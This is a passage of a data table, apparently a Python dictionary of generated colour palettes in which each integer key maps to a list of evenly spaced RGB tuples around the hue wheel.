(101, 102, 204),
(142, 101, 204),
(183, 101, 204),
(204, 101, 183),
(204, 101, 142)],
16: [(204, 101, 101),
(204, 140, 101),
(204, 178, 101),
(191, 204, 101),
(153, 204, 101),
(114, 204, 101),
(101, 204, 127),
(101, 204, 165),
(101, 204, 204),
(101, 165, 204),
(101, 127, 204),
(114, 101, 204),
(152, 101, 204),
(191, 101, 204),
(204, 101, 178),
(204, 101, 140)],
17: [(204, 101, 101),
(204, 138, 101),
(204, 174, 101),
(198, 204, 101),
(162, 204, 101),
(125, 204, 101),
(101, 204, 114),
(101, 204, 149),
(101, 204, 186),
(101, 186, 204),
(101, 149, 204),
(101, 114, 204),
(125, 101, 204),
(161, 101, 204),
(197, 101, 204),
(204, 101, 173),
(204, 101, 137)],
18: [(204, 101, 101),
(204, 136, 101),
(204, 170, 101),
(204, 204, 101),
(169, 204, 101),
(136, 204, 101),
(102, 204, 101),
(101, 204, 135),
(101, 204, 170),
(101, 204, 204),
(101, 169, 204),
(101, 135, 204),
(101, 102, 204),
(136, 101, 204),
(169, 101, 204),
(203, 101, 204),
(204, 101, 169),
(204, 101, 135)],
19: [(204, 101, 101),
(204, 134, 101),
(204, 166, 101),
(204, 198, 101),
(177, 204, 101),
(144, 204, 101),
(112, 204, 101),
(101, 204, 123),
(101, 204, 155),
(101, 204, 187),
(101, 187, 204),
(101, 155, 204),
(101, 123, 204),
(112, 101, 204),
(144, 101, 204),
(177, 101, 204),
(204, 101, 198),
(204, 101, 166),
(204, 101, 134)],
20: [(204, 101, 101),
(204, 132, 101),
(204, 163, 101),
(204, 193, 101),
(183, 204, 101),
(153, 204, 101),
(122, 204, 101),
(101, 204, 112),
(101, 204, 142),
(101, 204, 173),
(101, 204, 204),
(101, 173, 204),
(101, 142, 204),
(101, 112, 204),
(122, 101, 204),
(152, 101, 204),
(183, 101, 204),
(204, 101, 193),
(204, 101, 163),
(204, 101, 132)],
21: [(204, 101, 101),
(204, 131, 101),
(204, 160, 101),
(204, 189, 101),
(189, 204, 101),
(160, 204, 101),
(131, 204, 101),
(102, 204, 101),
(101, 204, 131),
(101, 204, 160),
(101, 204, 189),
(101, 189, 204),
(101, 160, 204),
(101, 131, 204),
(101, 102, 204),
(131, 101, 204),
(160, 101, 204),
(189, 101, 204),
(204, 101, 189),
(204, 101, 160),
(204, 101, 131)],
22: [(204, 101, 101),
(204, 129, 101),
(204, 157, 101),
(204, 185, 101),
(194, 204, 101),
(166, 204, 101),
(139, 204, 101),
(111, 204, 101),
(101, 204, 120),
(101, 204, 148),
(101, 204, 176),
(101, 204, 204),
(101, 176, 204),
(101, 148, 204),
(101, 120, 204),
(111, 101, 204),
(139, 101, 204),
(166, 101, 204),
(194, 101, 204),
(204, 101, 185),
(204, 101, 157),
(204, 101, 129)],
23: [(204, 101, 101),
(204, 128, 101),
(204, 155, 101),
(204, 181, 101),
(199, 204, 101),
(172, 204, 101),
(146, 204, 101),
(119, 204, 101),
(101, 204, 110),
(101, 204, 137),
(101, 204, 164),
(101, 204, 190),
(101, 190, 204),
(101, 164, 204),
(101, 137, 204),
(101, 110, 204),
(119, 101, 204),
(146, 101, 204),
(172, 101, 204),
(199, 101, 204),
(204, 101, 181),
(204, 101, 155),
(204, 101, 128)],
24: [(204, 101, 101),
(204, 127, 101),
(204, 152, 101),
(204, 178, 101),
(204, 204, 101),
(178, 204, 101),
(153, 204, 101),
(127, 204, 101),
(102, 204, 101),
(101, 204, 127),
(101, 204, 152),
(101, 204, 178),
(101, 204, 204),
(101, 178, 204),
(101, 153, 204),
(101, 127, 204),
(101, 102, 204),
(127, 101, 204),
(152, 101, 204),
(178, 101, 204),
(203, 101, 204),
(204, 101, 178),
(204, 101, 153),
(204, 101, 127)],
25: [(204, 101, 101),
(204, 126, 101),
(204, 150, 101),
(204, 175, 101),
(204, 199, 101),
(183, 204, 101),
(159, 204, 101),
(134, 204, 101),
(110, 204, 101),
(101, 204, 118),
(101, 204, 142),
(101, 204, 167),
(101, 204, 191),
(101, 191, 204),
(101, 167, 204),
(101, 142, 204),
(101, 118, 204),
(110, 101, 204),
(134, 101, 204),
(159, 101, 204),
(183, 101, 204),
(204, 101, 199),
(204, 101, 175),
(204, 101, 150),
(204, 101, 126)],
26: [(204, 101, 101),
(204, 125, 101),
(204, 149, 101),
(204, 172, 101),
(204, 196, 101),
(188, 204, 101),
(164, 204, 101),
(141, 204, 101),
(117, 204, 101),
(101, 204, 109),
(101, 204, 133),
(101, 204, 156),
(101, 204, 180),
(101, 204, 204),
(101, 180, 204),
(101, 156, 204),
(101, 133, 204),
(101, 109, 204),
(117, 101, 204),
(141, 101, 204),
(164, 101, 204),
(188, 101, 204),
(204, 101, 196),
(204, 101, 172),
(204, 101, 149),
(204, 101, 125)],
27: [(204, 101, 101),
(204, 124, 101),
(204, 147, 101),
(204, 170, 101),
(204, 192, 101),
(192, 204, 101),
(169, 204, 101),
(147, 204, 101),
(124, 204, 101),
(102, 204, 101),
(101, 204, 124),
(101, 204, 147),
(101, 204, 170),
(101, 204, 192),
(101, 192, 204),
(101, 169, 204),
(101, 147, 204),
(101, 124, 204),
(101, 102, 204),
(124, 101, 204),
(147, 101, 204),
(169, 101, 204),
(192, 101, 204),
(204, 101, 192),
(204, 101, 169),
(204, 101, 147),
(204, 101, 124)],
28: [(204, 101, 101),
(204, 123, 101),
(204, 145, 101),
(204, 167, 101),
(204, 189, 101),
(196, 204, 101),
(174, 204, 101),
(153, 204, 101),
(131, 204, 101),
(109, 204, 101),
(101, 204, 116),
(101, 204, 138),
(101, 204, 160),
(101, 204, 182),
(101, 204, 204),
(101, 182, 204),
(101, 160, 204),
(101, 138, 204),
(101, 116, 204),
(109, 101, 204),
(131, 101, 204),
(152, 101, 204),
(174, 101, 204),
(196, 101, 204),
(204, 101, 189),
(204, 101, 167),
(204, 101, 145),
(204, 101, 123)],
29: [(204, 101, 101),
(204, 123, 101),
(204, 144, 101),
(204, 165, 101),
(204, 186, 101),
(200, 204, 101),
(179, 204, 101),
(158, 204, 101),
(137, 204, 101),
(116, 204, 101),
(101, 204, 109),
(101, 204, 130),
(101, 204, 151),
(101, 204, 172),
(101, 204, 193),
(101, 193, 204),
(101, 172, 204),
(101, 151, 204),
(101, 130, 204),
(101, 109, 204),
(116, 101, 204),
(137, 101, 204),
(158, 101, 204),
(179, 101, 204),
(200, 101, 204),
(204, 101, 186),
(204, 101, 165),
(204, 101, 144),
(204, 101, 123)],
30: [(204, 101, 101),
(204, 122, 101),
(204, 142, 101),
(204, 163, 101),
(204, 183, 101),
(204, 204, 101),
(183, 204, 101),
(163, 204, 101),
(142, 204, 101),
(122, 204, 101),
(102, 204, 101),
(101, 204, 122),
(101, 204, 142),
(101, 204, 163),
(101, 204, 183),
(101, 204, 204),
(101, 183, 204),
(101, 163, 204),
(101, 142, 204),
(101, 122, 204),
(101, 102, 204),
(122, 101, 204),
(142, 101, 204),
(163, 101, 204),
(183, 101, 204),
(204, 101, 203),
(204, 101, 183),
(204, 101, 163),
(204, 101, 142),
(204, 101, 122)],
31: [(204, 101, 101),
(204, 121, 101),
(204, 141, 101),
(204, 161, 101),
(204, 180, 101),
(204, 200, 101),
(187, 204, 101),
(167, 204, 101),
(148, 204, 101),
(128, 204, 101),
(108, 204, 101),
(101, 204, 115),
(101, 204, 134),
(101, 204, 154),
(101, 204, 174),
(101, 204, 194),
(101, 194, 204),
(101, 174, 204),
(101, 154, 204),
(101, 134, 204),
(101, 115, 204),
(108, 101, 204),
(128, 101, 204),
(148, 101, 204),
(167, 101, 204),
(187, 101, 204),
(204, 101, 200),
(204, 101, 180),
(204, 101, 161),
(204, 101, 141),
(204, 101, 121)],
32: [(204, 101, 101),
(204, 121, 101),
(204, 140, 101),
(204, 159, 101),
(204, 178, 101),
(204, 197, 101),
(191, 204, 101),
(172, 204, 101),
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49: [(204, 101, 101),
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51: [(204, 101, 101),
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52: [(204, 101, 101),
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53: [(204, 101, 101),
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54: [(204, 101, 101),
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55: [(204, 101, 101),
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56: [(204, 101, 101),
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57: [(204, 101, 101),
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58: [(204, 101, 101),
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59: [(204, 101, 101),
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60: [(204, 101, 101),
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61: [(204, 101, 101),
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62: [(204, 101, 101),
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63: [(204, 101, 101),
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64: [(204, 101, 101),
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65: [(204, 101, 101),
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66: [(204, 101, 101),
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67: [(204, 101, 101),
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68: [(204, 101, 101),
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69: [(204, 101, 101),
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70: [(204, 101, 101),
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71: [(204, 101, 101),
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72: [(204, 101, 101),
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73: [(204, 101, 101),
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74: [(204, 101, 101),
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75: [(204, 101, 101),
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76: [(204, 101, 101),
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77: [(204, 101, 101),
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78: [(204, 101, 101),
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79: [(204, 101, 101),
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80: [(204, 101, 101),
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81: [(204, 101, 101),
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82: [(204, 101, 101),
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83: [(204, 101, 101),
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84: [(204, 101, 101),
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85: [(204, 101, 101),
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86: [(204, 101, 101),
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87: [(204, 101, 101),
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88: [(204, 101, 101),
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89: [(204, 101, 101),
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90: [(204, 101, 101),
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91: [(204, 101, 101),
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92: [(204, 101, 101),
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93: [(204, 101, 101),
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94: [(204, 101, 101),
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95: [(204, 101, 101),
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96: [(204, 101, 101),
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97: [(204, 101, 101),
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98: [(204, 101, 101),
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99: [(204, 101, 101),
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100: [(204, 101, 101),
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(152, 101, 204),
(159, 101, 204),
(165, 101, 204),
(171, 101, 204),
(177, 101, 204),
(183, 101, 204),
(189, 101, 204),
(195, 101, 204),
(201, 101, 204),
(204, 101, 199),
(204, 101, 193),
(204, 101, 187),
(204, 101, 181),
(204, 101, 175),
(204, 101, 169),
(204, 101, 163),
(204, 101, 157),
(204, 101, 150),
(204, 101, 144),
(204, 101, 138),
(204, 101, 132),
(204, 101, 126),
(204, 101, 120),
(204, 101, 114),
(204, 101, 108)],
101: [(204, 101, 101),
(204, 108, 101),
(204, 114, 101),
(204, 120, 101),
(204, 126, 101),
(204, 132, 101),
(204, 138, 101),
(204, 144, 101),
(204, 150, 101),
(204, 156, 101),
(204, 162, 101),
(204, 168, 101),
(204, 174, 101),
(204, 180, 101),
(204, 186, 101),
(204, 192, 101),
(204, 198, 101),
(202, 204, 101),
(196, 204, 101),
(190, 204, 101),
(184, 204, 101),
(178, 204, 101),
(172, 204, 101),
(166, 204, 101),
(160, 204, 101),
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(148, 204, 101),
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(136, 204, 101),
(130, 204, 101),
(124, 204, 101),
(118, 204, 101),
(112, 204, 101),
(106, 204, 101),
(101, 204, 104),
(101, 204, 110),
(101, 204, 116),
(101, 204, 122),
(101, 204, 128),
(101, 204, 134),
(101, 204, 140),
(101, 204, 146),
(101, 204, 152),
(101, 204, 158),
(101, 204, 164),
(101, 204, 170),
(101, 204, 176),
(101, 204, 182),
(101, 204, 188),
(101, 204, 194),
(101, 204, 200),
(101, 200, 204),
(101, 194, 204),
(101, 188, 204),
(101, 182, 204),
(101, 176, 204),
(101, 170, 204),
(101, 164, 204),
(101, 158, 204),
(101, 152, 204),
(101, 146, 204),
(101, 140, 204),
(101, 134, 204),
(101, 128, 204),
(101, 122, 204),
(101, 116, 204),
(101, 110, 204),
(101, 104, 204),
(106, 101, 204),
(112, 101, 204),
(118, 101, 204),
(124, 101, 204),
(130, 101, 204),
(136, 101, 204),
(142, 101, 204),
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(160, 101, 204),
(166, 101, 204),
(172, 101, 204),
(178, 101, 204),
(184, 101, 204),
(190, 101, 204),
(196, 101, 204),
(202, 101, 204),
(204, 101, 198),
(204, 101, 192),
(204, 101, 186),
(204, 101, 180),
(204, 101, 174),
(204, 101, 168),
(204, 101, 162),
(204, 101, 156),
(204, 101, 150),
(204, 101, 144),
(204, 101, 138),
(204, 101, 132),
(204, 101, 126),
(204, 101, 120),
(204, 101, 114),
(204, 101, 108)],
102: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 119, 101),
(204, 126, 101),
(204, 132, 101),
(204, 138, 101),
(204, 143, 101),
(204, 149, 101),
(204, 155, 101),
(204, 162, 101),
(204, 168, 101),
(204, 174, 101),
(204, 179, 101),
(204, 185, 101),
(204, 191, 101),
(204, 197, 101),
(204, 204, 101),
(198, 204, 101),
(192, 204, 101),
(186, 204, 101),
(180, 204, 101),
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(167, 204, 101),
(162, 204, 101),
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(125, 204, 101),
(119, 204, 101),
(114, 204, 101),
(108, 204, 101),
(102, 204, 101),
(101, 204, 108),
(101, 204, 114),
(101, 204, 120),
(101, 204, 126),
(101, 204, 131),
(101, 204, 137),
(101, 204, 143),
(101, 204, 149),
(101, 204, 156),
(101, 204, 162),
(101, 204, 168),
(101, 204, 174),
(101, 204, 179),
(101, 204, 186),
(101, 204, 192),
(101, 204, 198),
(101, 204, 204),
(101, 198, 204),
(101, 192, 204),
(101, 186, 204),
(101, 180, 204),
(101, 173, 204),
(101, 167, 204),
(101, 162, 204),
(101, 156, 204),
(101, 149, 204),
(101, 143, 204),
(101, 137, 204),
(101, 131, 204),
(101, 125, 204),
(101, 119, 204),
(101, 114, 204),
(101, 108, 204),
(101, 102, 204),
(107, 101, 204),
(113, 101, 204),
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(143, 101, 204),
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(161, 101, 204),
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(179, 101, 204),
(185, 101, 204),
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(197, 101, 204),
(204, 101, 203),
(204, 101, 197),
(204, 101, 191),
(204, 101, 185),
(204, 101, 179),
(204, 101, 173),
(204, 101, 167),
(204, 101, 162),
(204, 101, 156),
(204, 101, 150),
(204, 101, 143),
(204, 101, 137),
(204, 101, 131),
(204, 101, 125),
(204, 101, 119),
(204, 101, 113),
(204, 101, 107)],
103: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 119, 101),
(204, 125, 101),
(204, 131, 101),
(204, 137, 101),
(204, 143, 101),
(204, 149, 101),
(204, 155, 101),
(204, 161, 101),
(204, 167, 101),
(204, 173, 101),
(204, 179, 101),
(204, 185, 101),
(204, 191, 101),
(204, 197, 101),
(204, 203, 101),
(199, 204, 101),
(193, 204, 101),
(187, 204, 101),
(181, 204, 101),
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(169, 204, 101),
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(127, 204, 101),
(121, 204, 101),
(115, 204, 101),
(109, 204, 101),
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(101, 204, 105),
(101, 204, 111),
(101, 204, 117),
(101, 204, 123),
(101, 204, 129),
(101, 204, 135),
(101, 204, 141),
(101, 204, 147),
(101, 204, 153),
(101, 204, 159),
(101, 204, 165),
(101, 204, 171),
(101, 204, 177),
(101, 204, 183),
(101, 204, 189),
(101, 204, 195),
(101, 204, 201),
(101, 201, 204),
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(101, 189, 204),
(101, 183, 204),
(101, 177, 204),
(101, 171, 204),
(101, 165, 204),
(101, 159, 204),
(101, 153, 204),
(101, 147, 204),
(101, 141, 204),
(101, 135, 204),
(101, 129, 204),
(101, 123, 204),
(101, 117, 204),
(101, 111, 204),
(101, 105, 204),
(103, 101, 204),
(109, 101, 204),
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(199, 101, 204),
(204, 101, 203),
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(204, 101, 191),
(204, 101, 185),
(204, 101, 179),
(204, 101, 173),
(204, 101, 167),
(204, 101, 161),
(204, 101, 155),
(204, 101, 149),
(204, 101, 143),
(204, 101, 137),
(204, 101, 131),
(204, 101, 125),
(204, 101, 119),
(204, 101, 113),
(204, 101, 107)],
104: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 119, 101),
(204, 125, 101),
(204, 131, 101),
(204, 137, 101),
(204, 143, 101),
(204, 149, 101),
(204, 154, 101),
(204, 160, 101),
(204, 166, 101),
(204, 172, 101),
(204, 178, 101),
(204, 184, 101),
(204, 190, 101),
(204, 196, 101),
(204, 202, 101),
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(111, 204, 101),
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(101, 204, 103),
(101, 204, 109),
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(101, 204, 121),
(101, 204, 127),
(101, 204, 133),
(101, 204, 139),
(101, 204, 145),
(101, 204, 151),
(101, 204, 156),
(101, 204, 162),
(101, 204, 168),
(101, 204, 174),
(101, 204, 180),
(101, 204, 186),
(101, 204, 192),
(101, 204, 198),
(101, 204, 204),
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(101, 156, 204),
(101, 151, 204),
(101, 145, 204),
(101, 139, 204),
(101, 133, 204),
(101, 127, 204),
(101, 121, 204),
(101, 115, 204),
(101, 109, 204),
(101, 103, 204),
(105, 101, 204),
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(129, 101, 204),
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(182, 101, 204),
(188, 101, 204),
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(200, 101, 204),
(204, 101, 202),
(204, 101, 196),
(204, 101, 190),
(204, 101, 184),
(204, 101, 178),
(204, 101, 172),
(204, 101, 166),
(204, 101, 160),
(204, 101, 154),
(204, 101, 149),
(204, 101, 143),
(204, 101, 137),
(204, 101, 131),
(204, 101, 125),
(204, 101, 119),
(204, 101, 113),
(204, 101, 107)],
105: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 119, 101),
(204, 125, 101),
(204, 131, 101),
(204, 136, 101),
(204, 142, 101),
(204, 148, 101),
(204, 154, 101),
(204, 160, 101),
(204, 166, 101),
(204, 171, 101),
(204, 177, 101),
(204, 183, 101),
(204, 189, 101),
(204, 195, 101),
(204, 201, 101),
(201, 204, 101),
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(101, 204, 183),
(101, 204, 189),
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(101, 204, 201),
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(101, 183, 204),
(101, 177, 204),
(101, 171, 204),
(101, 166, 204),
(101, 160, 204),
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(101, 142, 204),
(101, 136, 204),
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(101, 125, 204),
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(101, 113, 204),
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(113, 101, 204),
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(189, 101, 204),
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(201, 101, 204),
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(204, 101, 171),
(204, 101, 166),
(204, 101, 160),
(204, 101, 154),
(204, 101, 148),
(204, 101, 142),
(204, 101, 136),
(204, 101, 131),
(204, 101, 125),
(204, 101, 119),
(204, 101, 113),
(204, 101, 107)],
106: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 119, 101),
(204, 125, 101),
(204, 130, 101),
(204, 136, 101),
(204, 142, 101),
(204, 148, 101),
(204, 153, 101),
(204, 159, 101),
(204, 165, 101),
(204, 171, 101),
(204, 177, 101),
(204, 182, 101),
(204, 188, 101),
(204, 194, 101),
(204, 200, 101),
(202, 204, 101),
(196, 204, 101),
(190, 204, 101),
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(101, 204, 105),
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(101, 204, 117),
(101, 204, 123),
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(101, 204, 140),
(101, 204, 146),
(101, 204, 152),
(101, 204, 157),
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(101, 204, 175),
(101, 204, 180),
(101, 204, 186),
(101, 204, 192),
(101, 204, 198),
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(101, 192, 204),
(101, 186, 204),
(101, 180, 204),
(101, 175, 204),
(101, 169, 204),
(101, 163, 204),
(101, 157, 204),
(101, 152, 204),
(101, 146, 204),
(101, 140, 204),
(101, 134, 204),
(101, 128, 204),
(101, 123, 204),
(101, 117, 204),
(101, 111, 204),
(101, 105, 204),
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(190, 101, 204),
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(202, 101, 204),
(204, 101, 200),
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(204, 101, 188),
(204, 101, 182),
(204, 101, 177),
(204, 101, 171),
(204, 101, 165),
(204, 101, 159),
(204, 101, 153),
(204, 101, 148),
(204, 101, 142),
(204, 101, 136),
(204, 101, 130),
(204, 101, 125),
(204, 101, 119),
(204, 101, 113),
(204, 101, 107)],
107: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 119, 101),
(204, 124, 101),
(204, 130, 101),
(204, 136, 101),
(204, 142, 101),
(204, 147, 101),
(204, 153, 101),
(204, 159, 101),
(204, 164, 101),
(204, 170, 101),
(204, 176, 101),
(204, 182, 101),
(204, 187, 101),
(204, 193, 101),
(204, 199, 101),
(203, 204, 101),
(197, 204, 101),
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(101, 204, 195),
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(101, 166, 204),
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(101, 155, 204),
(101, 149, 204),
(101, 143, 204),
(101, 138, 204),
(101, 132, 204),
(101, 126, 204),
(101, 121, 204),
(101, 115, 204),
(101, 109, 204),
(101, 103, 204),
(105, 101, 204),
(111, 101, 204),
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(128, 101, 204),
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(140, 101, 204),
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(151, 101, 204),
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(163, 101, 204),
(168, 101, 204),
(174, 101, 204),
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(191, 101, 204),
(197, 101, 204),
(203, 101, 204),
(204, 101, 199),
(204, 101, 193),
(204, 101, 187),
(204, 101, 182),
(204, 101, 176),
(204, 101, 170),
(204, 101, 164),
(204, 101, 159),
(204, 101, 153),
(204, 101, 147),
(204, 101, 142),
(204, 101, 136),
(204, 101, 130),
(204, 101, 124),
(204, 101, 119),
(204, 101, 113),
(204, 101, 107)],
108: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 118, 101),
(204, 124, 101),
(204, 130, 101),
(204, 136, 101),
(204, 141, 101),
(204, 147, 101),
(204, 152, 101),
(204, 158, 101),
(204, 164, 101),
(204, 170, 101),
(204, 175, 101),
(204, 181, 101),
(204, 186, 101),
(204, 192, 101),
(204, 198, 101),
(204, 204, 101),
(198, 204, 101),
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(101, 204, 170),
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(101, 204, 187),
(101, 204, 192),
(101, 204, 198),
(101, 204, 204),
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(101, 192, 204),
(101, 187, 204),
(101, 181, 204),
(101, 175, 204),
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(101, 164, 204),
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(101, 153, 204),
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(101, 141, 204),
(101, 135, 204),
(101, 130, 204),
(101, 124, 204),
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(101, 113, 204),
(101, 107, 204),
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(198, 101, 204),
(203, 101, 204),
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(204, 101, 153),
(204, 101, 147),
(204, 101, 141),
(204, 101, 135),
(204, 101, 130),
(204, 101, 124),
(204, 101, 118),
(204, 101, 113),
(204, 101, 107)],
109: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 118, 101),
(204, 124, 101),
(204, 130, 101),
(204, 135, 101),
(204, 141, 101),
(204, 146, 101),
(204, 152, 101),
(204, 158, 101),
(204, 163, 101),
(204, 169, 101),
(204, 174, 101),
(204, 180, 101),
(204, 186, 101),
(204, 191, 101),
(204, 197, 101),
(204, 203, 101),
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(115, 204, 101),
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(103, 204, 101),
(101, 204, 105),
(101, 204, 111),
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(101, 204, 122),
(101, 204, 128),
(101, 204, 133),
(101, 204, 139),
(101, 204, 145),
(101, 204, 150),
(101, 204, 156),
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(204, 101, 141),
(204, 101, 135),
(204, 101, 130),
(204, 101, 124),
(204, 101, 118),
(204, 101, 113),
(204, 101, 107)],
110: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 118, 101),
(204, 124, 101),
(204, 129, 101),
(204, 135, 101),
(204, 140, 101),
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(204, 101, 140),
(204, 101, 135),
(204, 101, 129),
(204, 101, 124),
(204, 101, 118),
(204, 101, 113),
(204, 101, 107)],
111: [(204, 101, 101),
(204, 107, 101),
(204, 113, 101),
(204, 118, 101),
(204, 124, 101),
(204, 129, 101),
(204, 135, 101),
(204, 140, 101),
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(204, 195, 101),
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(204, 101, 140),
(204, 101, 135),
(204, 101, 129),
(204, 101, 124),
(204, 101, 118),
(204, 101, 113),
(204, 101, 107)],
112: [(204, 101, 101),
(204, 107, 101),
(204, 112, 101),
(204, 118, 101),
(204, 123, 101),
(204, 129, 101),
(204, 134, 101),
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(204, 101, 140),
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(204, 101, 129),
(204, 101, 123),
(204, 101, 118),
(204, 101, 112),
(204, 101, 107)],
113: [(204, 101, 101),
(204, 107, 101),
(204, 112, 101),
(204, 118, 101),
(204, 123, 101),
(204, 129, 101),
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(204, 101, 139),
(204, 101, 134),
(204, 101, 129),
(204, 101, 123),
(204, 101, 118),
(204, 101, 112),
(204, 101, 107)],
114: [(204, 101, 101),
(204, 107, 101),
(204, 112, 101),
(204, 118, 101),
(204, 123, 101),
(204, 128, 101),
(204, 134, 101),
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(204, 101, 139),
(204, 101, 134),
(204, 101, 128),
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(204, 101, 118),
(204, 101, 112),
(204, 101, 107)],
115: [(204, 101, 101),
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(204, 112, 101),
(204, 117, 101),
(204, 123, 101),
(204, 128, 101),
(204, 133, 101),
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(204, 101, 139),
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(204, 101, 128),
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(204, 101, 117),
(204, 101, 112),
(204, 101, 107)],
116: [(204, 101, 101),
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(204, 101, 117),
(204, 101, 112),
(204, 101, 107)],
117: [(204, 101, 101),
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145: [(204, 101, 101),
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146: [(204, 101, 101),
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147: [(204, 101, 101),
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148: [(204, 101, 101),
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149: [(204, 101, 101),
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150: [(204, 101, 101),
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151: [(204, 101, 101),
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157: [(204, 101, 101),
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171: [(204, 101, 101),
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173: [(204, 101, 101),
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189: [(204, 101, 101),
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190: [(204, 101, 101),
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191: [(204, 101, 101),
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192: [(204, 101, 101),
(204, 105, 101),
(204, 108, 101),
(204, 111, 101),
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(204, 101, 105)],
193: [(204, 101, 101),
(204, 105, 101),
(204, 108, 101),
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(204, 163, 101),
(204, 166, 101),
(204, 170, 101),
(204, 173, 101),
(204, 176, 101),
(204, 179, 101),
(204, 182, 101),
(204, 185, 101),
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(101, 204, 163),
(101, 204, 166),
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(101, 204, 185),
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(101, 204, 191),
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(101, 200, 204),
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(101, 194, 204),
(101, 191, 204),
(101, 188, 204),
(101, 185, 204),
(101, 182, 204),
(101, 179, 204),
(101, 176, 204),
(101, 173, 204),
(101, 169, 204),
(101, 166, 204),
(101, 163, 204),
(101, 160, 204),
(101, 157, 204),
(101, 154, 204),
(101, 151, 204),
(101, 148, 204),
(101, 145, 204),
(101, 142, 204),
(101, 139, 204),
(101, 135, 204),
(101, 132, 204),
(101, 129, 204),
(101, 126, 204),
(101, 123, 204),
(101, 120, 204),
(101, 117, 204),
(101, 114, 204),
(101, 111, 204),
(101, 108, 204),
(101, 105, 204),
(101, 101, 204),
(105, 101, 204),
(108, 101, 204),
(111, 101, 204),
(114, 101, 204),
(117, 101, 204),
(120, 101, 204),
(123, 101, 204),
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(200, 101, 204),
(204, 101, 203),
(204, 101, 200),
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(204, 101, 194),
(204, 101, 191),
(204, 101, 188),
(204, 101, 185),
(204, 101, 182),
(204, 101, 179),
(204, 101, 176),
(204, 101, 173),
(204, 101, 169),
(204, 101, 166),
(204, 101, 163),
(204, 101, 160),
(204, 101, 157),
(204, 101, 154),
(204, 101, 151),
(204, 101, 148),
(204, 101, 145),
(204, 101, 142),
(204, 101, 139),
(204, 101, 135),
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(204, 101, 126),
(204, 101, 123),
(204, 101, 120),
(204, 101, 117),
(204, 101, 114),
(204, 101, 111),
(204, 101, 108),
(204, 101, 105)],
199: [(204, 101, 101),
(204, 105, 101),
(204, 108, 101),
(204, 111, 101),
(204, 114, 101),
(204, 117, 101),
(204, 120, 101),
(204, 123, 101),
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(101, 204, 202),
(101, 202, 204),
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(101, 190, 204),
(101, 187, 204),
(101, 184, 204),
(101, 180, 204),
(101, 177, 204),
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(204, 101, 123),
(204, 101, 120),
(204, 101, 117),
(204, 101, 114),
(204, 101, 111),
(204, 101, 108),
(204, 101, 105)],
200: [(204, 101, 101),
(204, 105, 101),
(204, 108, 101),
(204, 111, 101),
(204, 114, 101),
(204, 117, 101),
(204, 120, 101),
(204, 123, 101),
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(101, 204, 194),
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(101, 191, 204),
(101, 188, 204),
(101, 185, 204),
(101, 182, 204),
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(101, 176, 204),
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(101, 145, 204),
(101, 142, 204),
(101, 139, 204),
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(101, 118, 204),
(101, 115, 204),
(101, 112, 204),
(101, 109, 204),
(101, 106, 204),
(101, 103, 204),
(104, 101, 204),
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(201, 101, 204),
(204, 101, 202),
(204, 101, 199),
(204, 101, 196),
(204, 101, 193),
(204, 101, 190),
(204, 101, 187),
(204, 101, 184),
(204, 101, 181),
(204, 101, 178),
(204, 101, 175),
(204, 101, 172),
(204, 101, 169),
(204, 101, 166),
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(204, 101, 135),
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(204, 101, 129),
(204, 101, 126),
(204, 101, 123),
(204, 101, 120),
(204, 101, 117),
(204, 101, 114),
(204, 101, 111),
(204, 101, 108),
(204, 101, 105)],
201: [(204, 101, 101),
(204, 105, 101),
(204, 108, 101),
(204, 111, 101),
(204, 114, 101),
(204, 117, 101),
(204, 120, 101),
(204, 123, 101),
(204, 126, 101),
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(204, 159, 101),
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(204, 199, 101),
(204, 202, 101),
(202, 204, 101),
(199, 204, 101),
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(101, 204, 150),
(101, 204, 153),
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(101, 204, 165),
(101, 204, 168),
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(101, 204, 175),
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(101, 204, 181),
(101, 204, 184),
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(101, 204, 190),
(101, 204, 193),
(101, 204, 196),
(101, 204, 199),
(101, 204, 202),
(101, 202, 204),
(101, 199, 204),
(101, 196, 204),
(101, 193, 204),
(101, 190, 204),
(101, 187, 204),
(101, 184, 204),
(101, 181, 204),
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(101, 175, 204),
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(101, 162, 204),
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(101, 144, 204),
(101, 141, 204),
(101, 138, 204),
(101, 135, 204),
(101, 132, 204),
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(101, 126, 204),
(101, 123, 204),
(101, 120, 204),
(101, 117, 204),
(101, 114, 204),
(101, 111, 204),
(101, 108, 204),
(101, 105, 204),
(101, 102, 204),
(105, 101, 204),
(108, 101, 204),
(111, 101, 204),
(114, 101, 204),
(117, 101, 204),
(120, 101, 204),
(123, 101, 204),
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(190, 101, 204),
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(196, 101, 204),
(199, 101, 204),
(202, 101, 204),
(204, 101, 202),
(204, 101, 199),
(204, 101, 196),
(204, 101, 193),
(204, 101, 190),
(204, 101, 187),
(204, 101, 184),
(204, 101, 181),
(204, 101, 178),
(204, 101, 175),
(204, 101, 172),
(204, 101, 168),
(204, 101, 165),
(204, 101, 162),
(204, 101, 159),
(204, 101, 156),
(204, 101, 153),
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(204, 101, 147),
(204, 101, 144),
(204, 101, 141),
(204, 101, 138),
(204, 101, 135),
(204, 101, 132),
(204, 101, 129),
(204, 101, 126),
(204, 101, 123),
(204, 101, 120),
(204, 101, 117),
(204, 101, 114),
(204, 101, 111),
(204, 101, 108),
(204, 101, 105)],
202: [(204, 101, 101),
(204, 105, 101),
(204, 108, 101),
(204, 111, 101),
(204, 114, 101),
(204, 117, 101),
(204, 120, 101),
(204, 123, 101),
(204, 126, 101),
(204, 129, 101),
(204, 132, 101),
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(204, 141, 101),
(204, 144, 101),
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(204, 153, 101),
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(204, 159, 101),
(204, 162, 101),
(204, 165, 101),
(204, 168, 101),
(204, 171, 101),
(204, 174, 101),
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(204, 180, 101),
(204, 183, 101),
(204, 186, 101),
(204, 189, 101),
(204, 192, 101),
(204, 195, 101),
(204, 198, 101),
(204, 201, 101),
(202, 204, 101),
(199, 204, 101),
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(187, 204, 101),
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(124, 204, 101),
(121, 204, 101),
(118, 204, 101),
(115, 204, 101),
(112, 204, 101),
(109, 204, 101),
(106, 204, 101),
(103, 204, 101),
(101, 204, 104),
